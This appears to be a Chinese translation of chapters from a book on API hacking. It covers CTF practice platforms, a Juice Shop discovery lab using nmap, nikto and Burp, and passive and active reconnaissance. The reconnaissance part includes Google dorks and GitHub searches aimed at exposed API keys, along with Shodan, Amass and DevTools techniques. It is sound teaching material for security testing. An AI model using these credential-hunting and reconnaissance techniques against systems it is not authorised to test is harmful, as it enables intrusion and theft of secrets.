| Generic-University | InsiderPhD | github.com/InsiderPhD/Generic-University |
| vulnapi | tkisason | github.com/tkisason/vulnapi |
在 TryHackMe 和 HackTheBox 上黑客攻击 API
TryHackMe (tryhackme.com) 和 HackTheBox (www.hackthebox.com) 是允许你攻击漏洞机器、参加夺旗(CTF)比赛、解决黑客挑战并在黑客排行榜上攀升的网页平台。TryHackMe 提供了一些免费的内容,并且通过月度订阅可以解锁更多内容。你可以通过浏览器部署其预构建的黑客机器并进行攻击。它包括几台带有漏洞 API 的优秀机器:
-
Bookstore(免费)
-
Carpe Diem 1(免费)
-
ZTH:隐蔽 Web 漏洞(付费)
-
ZTH:Web2(付费)
-
GraphQL(付费)
这些脆弱的 TryHackMe 机器涵盖了许多黑客攻击 REST API、GraphQL API 和常见 API 认证机制的基本方法。如果你是黑客新手,TryHackMe 使得部署攻击机器变得像点击“开始攻击盒子”一样简单。几分钟之内,你将拥有一台基于浏览器的攻击机器,配备本书中将使用的许多工具。
HackTheBox(HTB)也提供免费的内容和订阅模型,但假设你已经具备了基本的黑客技能。例如,HTB 当前不为用户提供攻击机器实例,因此需要你自己准备攻击机器。为了能够使用 HTB,你需要能够接受其挑战,并通过破解邀请代码流程进入系统。
HTB 免费套餐与付费套餐的主要区别在于对脆弱机器的访问。通过免费访问,你将能够访问最近的 20 台脆弱机器,其中可能包括与 API 相关的系统。然而,如果你想访问 HTB 的脆弱机器库,尤其是具有 API 漏洞的机器,你将需要购买 VIP 会员,才能访问已退役的机器。
在表 5-2 中列出的退役机器都包括 API 攻击方面的内容。
表 5-2:具有 API 攻击组件的退役机器
| Craft | Postman | Smasher2 |
|---|---|---|
| JSON | Node | Help |
| PlayerTwo | Luke | Playing with Dirty Socks |
HTB 提供了提升黑客技能并扩展黑客实验室体验的最佳途径之一,超出了你自己防火墙的范围。除了 HTB 的机器,像 Fuzzy 这样的挑战可以帮助你提升关键的 API 攻击技能。
像 TryHackMe 和 HackTheBox 这样的网络平台是你黑客实验室的极好补充,并且能帮助提升你的 API 攻击能力。当你没有在现实世界中进行黑客攻击时,应该通过 CTF 竞赛来保持技能的锐利。
总结
在本章中,我带领你设置了自己的一套脆弱应用程序,你可以在家庭实验室中托管这些应用程序。随着你学习新技能,这些应用程序将成为你练习发现和利用 API 漏洞的场所。通过在家庭实验室中运行这些脆弱应用,你将能够跟随接下来的章节和实验中的工具与技术。我鼓励你超越我的建议,独立探索和学习,通过扩展或冒险,超越这个 API 攻击实验室。
实验室#2:寻找你的脆弱 API
让我们开始动手操作吧。在这个实验中,我们将使用一些基础的 Kali 工具来发现并与刚才设置的脆弱 API 进行交互。我们将使用 Netdiscover、Nmap、Nikto 和 Burp Suite 在本地网络中搜索 Juice Shop 实验应用。
在启动实验室之前,我建议先了解一下你的网络中能找到哪些设备。在启动脆弱实验室之前,使用 Netdiscover 来扫描,等实验室启动后再继续使用:
$ **sudo netdiscover**
Currently scanning: 172.16.129.0/16 | Screen View: Unique Hosts
13 Captured ARP Req/Rep packets, from 4 hosts. Total size: 780
------------------------------------------------------------------------------
IP At MAC Address Count Len MAC Vendor / Hostname
------------------------------------------------------------------------------
192.168.195.2 00:50:56:f0:23:20 6 360 VMware, Inc.
192.168.195.130 00:0c:29:74:7c:5d 4 240 VMware, Inc.
**192.168.195.132 00:0c:29:85:40:c0 2 120 VMware, Inc.**
192.168.195.254 00:50:56:ed:c0:7c 1 60 VMware, Inc.
你应该能在网络上看到一个新的 IP 地址出现。发现脆弱实验室 IP 后,你可以使用 ctrl-C 来停止 Netdiscover。
现在你已经得到了脆弱主机的 IP 地址,使用一个简单的 Nmap 命令来查看该虚拟设备上正在使用的服务和端口:
$ **nmap 192.168.195.132**
Nmap scan report for 192.168.195.132
Host is up (0.00046s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
我们可以看到,目标 IP 地址仅开放了 3000 端口(这与我们最初设置 Juice Shop 时的预期一致)。为了获取更多关于目标的信息,我们可以在扫描时加入-sC和-sV标志,运行默认的 Nmap 脚本并进行服务枚举:
$ **nmap -sC -sV 192.168.195.132**
Nmap scan report for 192.168.195.132
Host is up (0.00047s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, NCP, RPCCheck, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
HTTP/1.1 200 OK
`--snip--`
Copyright (c) Bjoern Kimminich.
SPDX-License-Identifier: MIT
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>**OWASP Juice Shop**</title>
通过运行此命令,我们得知 HTTP 正在 3000 端口上运行。我们找到了一款名为 "OWASP Juice Shop" 的 web 应用。现在,我们应该可以通过 web 浏览器访问 Juice Shop,只需导航到该 URL(见 图 5-5)。在我的案例中,URL 是 http://192.168.195.132:3000。

图 5-5:OWASP Juice Shop
此时,你可以使用你的网页浏览器浏览该 web 应用,查看它的各种功能,并发现 Juice Shop 中的精华内容。一般来说,点击一些内容并留意这些点击生成的 URL,以便找出正在工作的 API。探索完 web 应用后,一个典型的第一步是测试它的漏洞。使用以下 Nikto 命令扫描你实验室中的 web 应用:
$ **nikto -h http://192.168.195.132:3000**
---------------------------------------------------------------------------
+ Target IP: 192.168.195.132
+ Target Hostname: 192.168.195.132
+ Target Port: 3000
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved access-control-allow-origin header: *
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'feature-policy' found, with contents: payment 'self'
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/ftp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
Nikto 会高亮一些有用的信息,比如 robots.txt 文件和有效的 FTP 条目。然而,这里没有任何迹象表明有 API 正在工作。
由于我们知道 API 在 GUI 之外操作,接下来通过代理我们所有的流量并通过 Burp Suite 捕获网页流量是有意义的。确保将 FoxyProxy 设置为你的 Burp Suite 入口,并确认 Burp Suite 的拦截选项已打开(见 图 5-6)。接着,刷新 Juice Shop 的网页。

图 5-6:拦截到的 Juice Shop HTTP 请求
一旦你用 Burp Suite 拦截到请求,你应该能看到类似于 图 5-6 中所示的内容。然而,仍然没有 API!接下来,慢慢点击 Forward 按钮,将自动生成的请求一个接一个地发送到 web 应用,并注意到网页浏览器的 GUI 是如何逐步构建的。
一旦你开始转发请求,你应该看到以下内容,指示 API 端点:
-
GET /rest/admin/application-configuration -
GET /api/Challenges/?name=Score%20Board -
GET /api/Quantitys/
很棒!这个简短的实验展示了如何在本地网络环境中搜索一个易受攻击的机器。我们运用了第四章中设置的工具来帮助我们找到其中一个易受攻击的应用,并捕获一些看起来很有趣的 API 请求,这些请求是在我们通常在 web 浏览器的 GUI 中无法看到的。
第七章:发现

在你攻击目标的 API 之前,必须先定位这些 API,并验证它们是否正常运行。在这个过程中,你还需要寻找凭证信息(如密钥、密码、用户名和密码)、版本信息、API 文档以及有关 API 商业用途的信息。你收集的关于目标的信息越多,发现和利用与 API 相关漏洞的机会就越大。本章描述了被动和主动侦察过程以及完成这些任务的工具。
在识别一个 API 时,考虑其用途会有所帮助。API 旨在供内部使用、合作伙伴和客户使用或公开使用。如果一个 API 旨在公开或供合作伙伴使用,它可能会有开发者友好的文档,描述 API 端点和使用说明。利用这些文档来识别该 API。
如果 API 是为特定客户或内部使用的,你必须依赖其他线索:命名约定、HTTP 响应头信息,如Content-Type: application/json、包含 JSON/XML 的 HTTP 响应,以及关于应用程序的 JavaScript 源文件的信息。
被动侦察
被动侦察是指在不直接与目标设备互动的情况下获取有关目标的信息。当你采用这种方法时,你的目标是发现并记录目标的攻击面,而不让目标察觉到你的调查。在这种情况下,攻击面是通过网络暴露的所有系统集合,从中可能提取数据、通过它们进入其他系统,或者通过它们对系统的可用性造成干扰。
通常,被动侦察利用开源情报(OSINT),即从公开可用的来源收集的数据。你将寻找 API 端点、凭证信息、版本信息、API 文档以及关于 API 商业用途的信息。任何发现的 API 端点将在主动侦察过程中成为你的目标。凭证相关信息将帮助你作为认证用户,或者更好地,作为管理员进行测试。版本信息将帮助你了解潜在的不当资产和其他过往漏洞。API 文档将告诉你如何准确地测试目标 API。最后,发现 API 的商业用途可以为你提供有关潜在商业逻辑漏洞的见解。
在收集开源情报的过程中,你完全有可能会发现一些关键的数据暴露,如 API 密钥、凭证、JSON Web Tokens(JWT)和其他秘密,这些可能导致一次性成功。其他高风险发现包括泄露的个人身份信息(PII)或敏感的用户数据,如社会安全号码、全名、电子邮件地址和信用卡信息。这些类型的发现应立即记录并报告,因为它们代表了一个有效的关键弱点。
被动侦察过程
当你开始进行被动侦察时,可能对目标了解甚少。收集到一些基本信息后,你可以将你的开源情报(OSINT)工作集中在组织的不同方面,建立目标的攻击面资料。API 的使用在不同行业和商业目的之间会有所不同,因此在学习新信息时,你需要进行调整。从使用各种工具来收集数据开始,然后根据收集到的数据进行更有针对性的搜索,以获取更精炼的信息。重复这一过程,直到你绘制出目标的攻击面。
第一阶段:撒网
在互联网上搜索一些非常通用的术语,以便了解关于目标的一些基本信息。像 Google、Shodan 和 ProgrammableWeb 这样的搜索引擎可以帮助你找到关于 API 的一般信息,如其使用方法、设计和架构、文档以及商业目的,还可以找到与行业相关的信息和许多其他潜在的重要项目。
此外,你还需要调查目标的攻击面。这可以通过使用像 DNS Dumpster 和 OWASP Amass 这样的工具来完成。DNS Dumpster 通过显示与目标域名相关的所有主机及其相互连接的方式来执行 DNS 映射。(你可能会在稍后攻击这些主机!)我们在第四章中已经介绍了 OWASP Amass 的使用。
第二阶段:调整与聚焦
接下来,基于第一阶段的发现,调整你的开源情报工作,结合收集到的信息。这可能意味着增加搜索查询的具体性,或结合来自不同工具的信息以获得新的见解。除了使用搜索引擎外,你还可以在 GitHub 上搜索与你的目标相关的代码库,使用 Pastehunter 等工具查找暴露的敏感信息。
第三阶段:记录攻击面
做笔记对执行有效攻击至关重要。记录并截图所有有趣的发现。创建一个任务列表,列出可能对攻击过程中的其他阶段有用的被动侦察发现。稍后,当你积极尝试利用 API 漏洞时,可以回到任务列表,看看是否漏掉了什么。
以下部分将深入探讨你在整个过程中使用的工具。一旦你开始使用这些工具进行实验,你会注意到它们返回的信息之间会有所重叠。然而,我鼓励你使用多个工具来确认你的结果。例如,你不希望错过在 GitHub 上公开发布的特权 API 密钥,特别是如果某个犯罪分子后来发现了这些易得的信息并突破了你的客户的安全。
Google 黑客技术
Google 黑客技术(也称为Google dorking)涉及巧妙使用高级搜索参数,可以揭示关于目标的各种公开 API 相关信息,包括漏洞、API 密钥和用户名,这些信息你可以在参与中加以利用。此外,你还可以找到目标组织的行业信息以及它如何使用 API。表 6-1 列出了有用的查询参数(完整列表请参见“Google 黑客技术”维基百科页面)。
表 6-1: Google 查询参数
| 查询操作符 | 目的 |
|---|---|
intitle |
搜索页面标题 |
inurl |
搜索 URL 中的词语 |
filetype |
搜索所需的文件类型 |
site |
限制搜索范围到特定网站 |
从广泛的搜索开始,查看有哪些信息可用;然后添加特定于目标的参数,以聚焦结果。例如,inurl: /api/的通用搜索将返回超过 2,150,000 条结果——这多得无法做出有效分析。为了缩小搜索结果的范围,可以包括目标的域名。像intitle:"<targetname> api key"这样的查询会返回更少且更相关的结果。
除了你自己精心制作的 Google 搜索查询,你还可以使用 Offensive Security 的 Google 黑客数据库(GHDB,www.exploit-db.com/google-hacking-database)。GHDB 是一个包含揭示公开暴露的易受攻击系统和敏感信息的查询库。表 6-2 列出了一些来自 GHDB 的有用 API 查询。
表 6-2: GHDB 查询
| Google 黑客查询 | 预期结果 |
|---|---|
inurl:"/wp-json/wp/v2/users" |
查找所有公开可用的 WordPress API 用户目录。 |
intitle:"index.of" intext:"api.txt" |
查找公开可用的 API 密钥文件。 |
inurl:"/includes/api/" intext:"index of /" |
查找可能有趣的 API 目录。 |
ext:php inurl:"api.php?action=" |
查找所有存在 XenAPI SQL 注入漏洞的网站。(这个查询发布于 2016 年,四年后,结果达到 141,000 条。) |
intitle:"index of" api_key OR "api key" OR apiKey -pool |
列出可能暴露的 API 密钥。(这是我最喜欢的查询之一。) |
如图 6-1 所示,最终的查询返回了 2,760 个搜索结果,这些网站公开暴露了 API 密钥。

图 6-1:Google 对 API 进行黑客攻击的结果,包括几个暴露 API 密钥的网页
ProgrammableWeb 的 API 搜索目录
ProgrammableWeb (www.programmableweb.com) 是获取 API 相关信息的首选来源。要了解 API,你可以使用它的 API 大学。要收集目标信息,可以使用 API 目录,这是一个包含超过 23,000 个 API 的可搜索数据库(见图 6-2)。你可以找到 API 端点、版本信息、业务逻辑信息、API 状态、源代码、SDK、文章、API 文档和 Changelog。

图 6-2:ProgrammableWeb API 目录
假设你通过 Google 查询发现你的目标正在使用 Medici 银行 API,你可以在 ProgrammableWeb API 目录中搜索并找到图 6-3 中的列表。

图 6-3:ProgrammableWeb 的 Medici 银行 API 目录列表
列表显示 Medici 银行 API 与客户数据交互并促进金融交易,因此它是一个高风险 API。当你发现像这样的敏感目标时,你会想找到任何可以帮助你攻击它的信息,包括 API 文档、端点和门户的位置、源代码、Changelog 以及它使用的认证模型。
点击目录列表中的各个标签并记录你找到的信息。要查看 API 端点位置、门户位置和认证模型,请点击 Versions 标签下的特定版本,如图 6-4 所示。在这种情况下,门户和端点链接也会指向 API 文档。

图 6-4:Medici 银行 API 规格部分提供 API 端点位置、API 门户位置和 API 认证模型。
Changelog 标签会告诉你过去的漏洞、以前的 API 版本以及最新 API 版本的重大更新(如果有的话)。ProgrammableWeb 将 Libraries 标签描述为“一个特定平台的软件工具,安装后将提供特定的 API。”你可以使用此标签来发现用于支持 API 的软件类型,其中可能包括易受攻击的软件库。
根据不同的 API,你可能会发现源代码、教程(How To 标签)、拼接应用和新闻文章,所有这些都可能提供有价值的 OSINT。其他拥有 API 资源库的网站包括rapidapi.com和apis.guru/browse-apis。
Shodan
Shodan 是一个用于查找可以从互联网访问的设备的搜索引擎。Shodan 定期扫描整个 IPv4 地址空间,查找具有开放端口的系统,并将收集的信息公开发布在shodan.io。你可以使用 Shodan 来发现面向外部的 API,并获取关于目标开放端口的信息,如果你只有 IP 地址或组织名称,也能发挥它的作用。
与 Google dork 类似,你可以通过输入目标的域名或 IP 地址在 Shodan 上进行简单搜索;或者,你可以像编写 Google 查询一样使用搜索参数。表 6-3 展示了一些有用的 Shodan 查询。
表 6-3:Shodan 查询参数
| Shodan 查询 | 目的 |
|---|---|
hostname:"targetname.com" |
使用hostname可以对目标的域名进行基本的 Shodan 搜索。这个查询应该与以下查询结合使用,以获取与目标相关的具体结果。 |
"content-type: application/json" |
API 的content-type应该设置为 JSON 或 XML。此查询将过滤出响应为 JSON 的结果。 |
"content-type: application/xml" |
这个查询将过滤出响应为 XML 的结果。 |
"200 OK" |
你可以在搜索查询中加入"200 OK"来获取请求成功的结果。然而,如果一个 API 不接受 Shodan 请求的格式,它可能会返回 300 或 400 响应。 |
"wp-json" |
该查询将搜索使用 WordPress API 的网页应用程序。 |
你可以组合 Shodan 查询来发现 API 端点,即使这些 API 没有标准的命名约定。如图 6-5 所示,假设我们的目标是 eWise(www.ewise.com),一家资金管理公司,我们可以使用以下查询查看 Shodan 是否扫描过它的 API 端点:
"ewise.com" "content-type: application/json"

图 6-5:Shodan 搜索结果
在图 6-5 中,我们看到 Shodan 为我们提供了一个潜在的目标端点。进一步调查这个结果时,揭示了与 eWise 相关的 SSL 证书信息——即,网页服务器是 Nginx,并且响应包含application/json头。该服务器发出了一个常用于 REST API 的 401 JSON 响应代码。我们能够发现一个没有任何与 API 相关的命名约定的 API 端点。
Shodan 还提供了浏览器扩展,可以让你在浏览网站时方便地查看 Shodan 扫描结果。
OWASP Amass
在第四章中介绍过,OWASP Amass 是一个命令行工具,通过从 55 个不同的来源收集 OSINT 来映射目标的外部网络。你可以设置它执行被动或主动扫描。如果选择主动选项,Amass 将直接向目标请求证书信息来收集数据。否则,它会从搜索引擎(如 Google、Bing 和 HackerOne)、SSL 证书来源(如 GoogleCT、Censys 和 FacebookCT)、搜索 API(如 Shodan、AlienVault、Cloudflare 和 GitHub)以及网络档案 Wayback 中收集数据。
请参阅第四章,了解如何设置 Amass 和添加 API 密钥。以下是对 twitter.com 进行的被动扫描,使用 grep 仅显示与 API 相关的结果:
$ **amass enum -passive -d twitter.com |grep api**
legacy-api.twitter.com
api1-backup.twitter.com
api3-backup.twitter.com
tdapi.twitter.com
failover-urls.api.twitter.com
cdn.api.twitter.com
pulseone-api.smfc.twitter.com
urls.api.twitter.com
api2.twitter.com
apistatus.twitter.com
apiwiki.twtter.com
该扫描显示了 86 个独特的 API 子域名,包括 legacy-api.twitter.com。正如我们从 OWASP API 安全十大中得知的,名为 legacy 的 API 可能特别值得关注,因为它似乎表明存在不当的资产管理漏洞。
Amass 提供了几个有用的命令行选项。使用 intel 命令可以收集 SSL 证书、搜索反向 Whois 记录并查找与目标相关的 ASN ID。首先提供目标的 IP 地址:
$ **amass intel -addr** `<target IP addresses>`
如果此扫描成功,它将提供域名。这些域名可以传递给 intel 命令并使用 whois 选项执行反向 Whois 查找:
$ **amass intel -d** `<target domain>` **–whois**
这样可能会给你带来大量的结果。聚焦于与目标组织相关的有趣结果。一旦你拥有了有趣的域名列表,就可以切换到 enum 子命令开始枚举子域名。如果你指定了 -passive 选项,Amass 将避免直接与目标进行交互:
$ **amass enum -passive -d** `<target domain>`
主动的 enum 扫描将执行与被动扫描类似的扫描,但它将添加域名解析、尝试 DNS 区域传输,并抓取 SSL 证书信息:
$ **amass enum -active -d** `<target domain>`
要提升你的技能,可以添加 -brute 选项来强行列出子域名,使用 -w 来指定 API_superlist 字典,然后使用 -dir 选项将输出发送到你选择的目录:
$ **amass enum -active -brute -w /usr/share/wordlists/API_superlist -d** `<target domain>` **-dir** `<directory name>`
如果你想要可视化 Amass 返回数据之间的关系,可以使用 viz 子命令,如下所示,生成一个外观酷炫的网页(见 图 6-6)。这个页面允许你放大并查看不同的相关域名,并希望能找到一些 API 端点。
$ **amass viz -enum -d3 -dir** `<directory name>`

图 6-6:使用 -d3 选项对 Amass 发现的结果进行 HTML 导出,以可视化 twitter.com 的数据
你可以使用此可视化图来查看 DNS 记录类型、不同主机之间的依赖关系以及不同节点之间的关系。在 图 6-6 中,左侧的所有节点是 API 子域名,而大圆圈代表 twitter.com。
GitHub 上公开的信息
无论你的目标是否进行自主开发,检查 GitHub(github.com)以发现敏感信息泄露都是值得的。开发者使用 GitHub 进行软件项目的协作。在 GitHub 上搜索开放源情报(OSINT)可能揭示你目标的 API 能力、文档和秘密,如管理员级别的 API 密钥、密码和令牌,这些信息可能在攻击过程中非常有用。
首先,在 GitHub 上搜索你目标组织的名称,并搭配可能敏感的信息类型,如“api-key”、“password”或“token”。然后,调查 GitHub 上的各种仓库标签,发现 API 端点和潜在的弱点。分析代码标签中的源代码,在问题标签中查找软件漏洞,并在拉取请求标签中审查提议的更改。
代码
代码标签包含当前的源代码、README 文件和其他文件(见图 6-7)。此标签将提供最近提交该文件的开发者名称、提交时间、贡献者以及实际源代码。

图 6-7:GitHub 代码标签示例,你可以在这里查看不同文件的源代码
使用代码标签,你可以查看当前版本的代码,或者使用 ctrl-F 搜索你感兴趣的术语(如“API”、“key”和“secret”)。此外,通过使用图 6-7 右上角的历史按钮,查看代码的历史提交。如果你遇到了一个问题或评论,导致你认为代码中曾经有过漏洞,你可以查看历史提交,看看这些漏洞是否仍然可见。
查看提交时,使用分屏按钮查看文件版本的并排对比,找出代码更改的确切位置(见图 6-8)。

图 6-8:分屏按钮允许你将之前的代码(左侧)与更新后的代码(右侧)分开显示。
在这里,你可以看到对一个金融应用程序的提交,该提交移除了 SonarQube 私有 API 密钥,揭示了该密钥及其使用的 API 端点。
问题
问题标签是开发者跟踪漏洞、任务和功能请求的地方。如果一个问题处于开放状态,那么该漏洞很可能仍然存在于代码中(见图 6-9)。

图 6-9:一个公开的 GitHub 问题,提供了暴露的 API 密钥在应用程序代码中的准确位置
如果问题已关闭,请记录该问题的日期,然后查找该时间段内的提交历史,查看是否有相关更改。
拉取请求
拉取请求标签是一个允许开发者协作修改代码的地方。如果你审查这些提议的更改,有时你可能会幸运地发现一个正在解决的 API 泄露问题。例如,在图 6-10 中,开发者已经提交了一个拉取请求,试图从源代码中移除暴露的 API 密钥。

图 6-10:开发者在拉取请求对话中的评论可能会泄露私有 API 密钥。
由于这个更改尚未与代码合并,我们可以清楚地看到在文件更改标签下,API 密钥仍然暴露(见图 6-11)。

图 6-11:更改文件标签展示了对代码的提议更改。
文件更改标签揭示了开发者尝试更改的代码部分。正如你所看到的,API 密钥在第 25 行;下一行是提议的更改,旨在移除该密钥。
如果你在 GitHub 仓库中没有发现弱点,可以改为用它来建立你的目标资料。记录使用的编程语言、API 端点信息和使用文档,这些都将对你今后的工作大有裨益。
主动侦察
执行被动侦察的一个缺点是,你收集的信息来源于间接渠道。作为 API 黑客,验证这些信息的最佳方式是通过端口扫描、漏洞扫描、ping、发送 HTTP 请求、进行 API 调用以及与目标环境的其他交互形式,直接从目标获取信息。
本节将专注于使用检测扫描、实地分析和定向扫描发现组织的 API。章节末的实验将展示这些技术的实际应用。
主动侦察过程
本节讨论的主动侦察过程应能有效且彻底地调查目标,揭示任何可以用来访问系统的弱点。每个阶段都利用前一阶段的信息来聚焦:第一阶段,检测扫描,使用自动化扫描来查找运行 HTTP 或 HTTPS 的服务;第二阶段,实地分析,从最终用户和黑客的角度审视这些服务,以找出值得关注的点;第三阶段利用第二阶段的发现,将扫描重点放大,彻底探索已发现的端口和服务。这个过程高效,因为它让你在自动化扫描后台运行的同时,始终与目标进行互动。每当分析遇到瓶颈时,回到自动化扫描中检查是否有新发现。
这个过程不是线性的:在每个逐渐有针对性的扫描阶段之后,你会分析结果,然后利用你的发现进行进一步的扫描。在任何时候,你可能会发现一个漏洞并尝试利用它。如果你成功地利用了漏洞,就可以进入后渗透阶段。如果没有,你则返回到扫描和分析阶段。
零阶段:机会性利用
如果你在任何时候的主动侦察过程中发现漏洞,你应该抓住机会尝试利用它。你可能会在扫描的前几秒钟发现漏洞,或者在偶然发现一个部分开发的网页中的评论时发现漏洞,或者是在几个月的研究后发现漏洞。一旦发现漏洞,就立刻进行利用,然后根据需要返回到分阶段的过程。随着经验的积累,你会学会何时避免迷失在潜在的“兔子洞”中,何时全力以赴进行利用。
第一阶段:检测扫描
检测扫描的目标是揭示潜在的调查起点。首先进行一般性扫描,旨在检测主机、开放端口、运行的服务和当前使用的操作系统,如本章“使用 Nmap 进行基线扫描”部分所述。API 使用 HTTP 或 HTTPS,因此一旦扫描检测到这些服务,允许扫描继续运行并进入第二阶段。
第二阶段:实际分析
实际分析是指使用浏览器和 API 客户端探索 web 应用程序的过程。目标是了解你可以交互的所有潜在杠杆并进行测试。从实际角度出发,你将检查网页、拦截请求、寻找 API 链接和文档,并理解涉及的业务逻辑。
你通常应该从三个角度考虑应用程序:访客、认证用户和网站管理员。访客 是匿名用户,可能是第一次访问该站点。如果网站托管的是公共信息且不需要认证用户,它可能只有访客用户。认证用户 是经过某种注册流程并被授予一定访问权限的用户。管理员 拥有管理和维护 API 的权限。
你的第一步是使用浏览器访问网站,探索网站,并从这些角度考虑它。以下是每个用户群体的一些考虑因素:
-
访客 新用户如何使用这个网站?新用户可以与 API 进行交互吗?API 文档是公开的吗?这个群体能执行哪些操作?
-
认证用户 认证后你能做的事情是什么,是作为访客无法做到的?你能上传文件吗?你能探索 web 应用的其他部分吗?你能使用 API 吗?web 应用如何识别用户是否已认证?
-
管理员在哪里登录以管理 Web 应用程序?页面源代码中有什么内容?各个页面上留下了什么评论?使用了哪些编程语言?网站的哪些部分正在开发或试验中?
接下来,通过使用 Burp Suite 拦截 HTTP 流量来分析应用程序,作为一个黑客。当你使用 Web 应用程序的搜索栏或尝试进行身份验证时,应用程序可能会使用 API 请求来执行请求的操作,你将在 Burp Suite 中看到这些请求。
当你遇到障碍时,是时候审查后台运行的第一阶段扫描的新结果,并启动第三阶段:有针对性扫描。
第三阶段:有针对性扫描
在有针对性的扫描阶段,你要精细化扫描,并使用针对目标的特定工具。而检测扫描是广泛涵盖,有针对性扫描则应专注于特定类型的 API、其版本、Web 应用程序类型、发现的任何服务版本、应用程序是在 HTTP 还是 HTTPS 上运行、任何活动的 TCP 端口,以及从理解业务逻辑中获得的其他信息。例如,如果发现 API 在非标准 TCP 端口上运行,可以设置扫描器更仔细地检查该端口。如果发现 Web 应用程序是用 WordPress 制作的,请检查 WordPress API 是否可以通过访问/wp-json/wp/v2来访问。此时,你应该知道 Web 应用程序的 URL,并可以开始使用 Brute-Forcing URIs with Gobuster 章节中描述的方法来查找隐藏的目录和文件。一旦这些工具启动并运行,随着结果的流入,审查结果以进行更有针对性的实际分析。
接下来的章节将描述你在主动侦察的各个阶段中将使用的工具和技术,包括使用 Nmap 进行检测扫描、使用 DevTools 进行实际分析,以及使用 Burp Suite 和 OWASP ZAP 进行有针对性扫描。
使用 Nmap 进行基线扫描
Nmap 是一个强大的工具,用于扫描端口、搜索漏洞、枚举服务和发现活跃主机。它是我在第一阶段检测扫描中首选的工具,但我也会用它进行有针对性的扫描。关于 Nmap 的强大功能,你可以在书籍和网站上找到详细介绍,所以我这里就不深入讨论了。
对于 API 的发现,你应该运行两个特定的 Nmap 扫描:通用检测和全端口扫描。Nmap 通用检测扫描使用默认脚本和服务枚举针对目标进行扫描,然后将输出保存在三种格式中供以后审查(-oX用于 XML,-oN用于 Nmap,-oG用于可搜索格式,或-oA用于这三种格式)。
$ **nmap -sC -sV** `<target address or network range>` **-oA nameofoutput**
Nmap 的全端口扫描将快速检查所有 65,535 个 TCP 端口上运行的服务、应用程序版本和正在使用的主机操作系统:
$ **nmap -p-** `<target address>` **-oA allportscan**
一旦常规检测扫描开始返回结果,启动全端口扫描。然后开始对结果进行实际分析。你很可能通过查看与 HTTP 流量和其他 Web 服务器指示相关的结果来发现 API。通常,你会发现它们运行在端口 80 和 443 上,但 API 可以托管在各种不同的端口上。一旦发现 Web 服务器,打开浏览器并开始分析。
寻找隐藏的路径在 robots.txt 文件中
Robots.txt 是一个常见的文本文件,告诉网络爬虫忽略搜索引擎的结果。具有讽刺意味的是,它也告诉我们目标网站希望保密的路径。你可以通过导航到目标的 /robots.txt 目录来找到 robots.txt 文件(例如,www.twitter.com/robots.txt)。
以下是来自一个活跃 Web 服务器的实际 robots.txt 文件,其中包含一个被禁止的 /api/ 路径:
User-agent: *
Disallow: /appliance/
Disallow: /login/
Disallow: /api/
Disallow: /files/
使用 Chrome DevTools 寻找敏感信息
在第四章中,我提到过 Chrome DevTools 包含一些被严重低估的 Web 应用程序黑客工具。以下步骤将帮助你轻松系统地筛选数千行代码,从而在页面源代码中找到敏感信息。
首先打开你的目标页面,然后按 F12 或 ctrl-shift-I 打开 Chrome DevTools。调整 Chrome DevTools 窗口,直到有足够的空间可以进行操作。选择“网络”选项卡,然后刷新页面。
现在,寻找感兴趣的文件(你可能会找到一个名为“API”的文件)。右键点击任何你感兴趣的 JavaScript 文件,并点击 在源面板中打开(参见 图 6-12)来查看其源代码。或者,点击 XHR 查看正在发出的 Ajax 请求。

图 6-12:DevTools 网络选项卡中的“在源面板中打开”选项
搜索可能感兴趣的 JavaScript 行。可以搜索的关键字包括“API”、“APIkey”、“secret”和“password”。例如, 图 6-13 演示了你如何发现一个 API,它深埋在一个脚本的近 4,200 行代码中。

图 6-13:在此页面源代码的第 4,197 行,正在使用一个 API。
你还可以利用 DevTools 的内存选项卡,它可以让你拍摄内存堆分布的快照。有时,静态 JavaScript 文件包含各种信息和数千行代码。换句话说,可能并不完全清楚 Web 应用程序是如何利用 API 的。相反,你可以使用内存面板来记录 Web 应用程序如何使用资源与 API 交互。
打开开发者工具后,点击内存标签。在“选择剖析类型”下,选择堆快照。然后,在“选择 JavaScript 虚拟机实例”下,选择目标进行查看。接下来,点击拍摄快照按钮(参见图 6-14)。

图 6-14:DevTools 中的内存面板
一旦文件在左侧的堆快照部分编译完成,选择新的快照并使用 ctrl-F 搜索潜在的 API 路径。尝试搜索常见的 API 路径术语,如“api”、“v1”、“v2”、“swagger”、“rest”和“dev”。如果你需要更多灵感,可以查看 Assetnote API 字典(wordlists.assetnote.io)。如果你已经按照第四章构建了攻击机器,这些字典应可以通过 /api/wordlists 获得。图 6-15 展示了在 DevTools 的内存面板中搜索“api”时可能看到的结果。

图 6-15:内存快照的搜索结果
如你所见,内存模块可以帮助你发现 API 及其路径。此外,你还可以使用它来比较不同的内存快照。这有助于你看到在认证和未认证状态下、在网页应用的不同部分以及在其不同功能中使用的 API 路径。
最后,使用 Chrome 开发者工具的性能标签页记录某些操作(如点击按钮),并通过一个按毫秒划分的时间轴查看这些操作。这让你能够查看在某个网页上发起的事件是否在后台发送了 API 请求。只需点击圆形的录制按钮,在网页上执行操作,然后停止录制。之后,你可以查看触发的事件并调查已发起的操作。图 6-16 展示了点击网页登录按钮的录制结果。

图 6-16:DevTools 中的性能录制
在“主”部分,你可以看到发生了一个点击事件,发起了对 URL /identity/api/auth/login 的 POST 请求,这清楚地表明你已经发现了一个 API。为了帮助你在时间轴上定位活动,查看位于顶部附近的图表中的峰值和谷值。一个峰值代表一个事件,例如点击。导航到峰值并通过点击时间轴来调查事件。
如你所见,开发者工具充满了强大的工具,可以帮助你发现 API。不要低估它各种模块的实用性。
使用 Burp Suite 验证 API
